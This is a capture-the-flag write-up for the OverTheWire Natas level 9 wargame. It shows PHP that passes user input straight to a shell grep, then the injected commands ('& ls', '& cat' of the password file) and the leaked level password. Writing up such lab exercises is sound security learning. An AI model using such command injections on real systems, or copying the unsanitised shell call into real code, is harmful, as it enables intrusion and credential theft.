Over the wire Natas Level 9

Over the wire Natas Level 9

Objective:

Get password for Level 10

Solution:

So here we see a input box and a search button

If we put in anything it searches a dictionary.txt file for the input and displays the output

Let’s check out the source code for anything interesting.

<pre>

<?

$key = "";

if(array_key_exists("needle", $_REQUEST)) {

    $key = $_REQUEST["needle"];

}

if($key != "") {

    passthru("grep -i $key dictionary.txt");

}

?>

</pre>

Ok so it literally just greps the file for the keyword entered, the only check it does is to see if the key is empty

I bet we can pipe the input field to get it to return data

Let try an ls to see if we can pass directly to the shell like we think

dog & ls ../

Output:

dictionary.txt

../:

main

natas0

natas1

natas10

natas11

natas12

natas13

natas14

natas15

natas16

natas17

natas18

natas19

natas2

natas20

natas21

natas21-experimenter

natas22

natas23

natas24

natas25

natas26

natas27

natas28

natas29

natas3

natas30

natas31

natas32

natas33

natas33-new

natas34

natas4

natas5

natas6

natas7

natas8

natas9

stats

OK so it did LS the parent directory like we thought

We know from an earlier exercise the keys are stored in the /etc/natas_webpass/ folder

Let’s see if we can cat the file for natas10

& cat /etc/natas_webpass/natas10

Output:

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

African

Africans

Allah

Allah's

American

Americanism

Americanism's

Americanisms

Americans

April

April's

Aprils

And there is the password

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu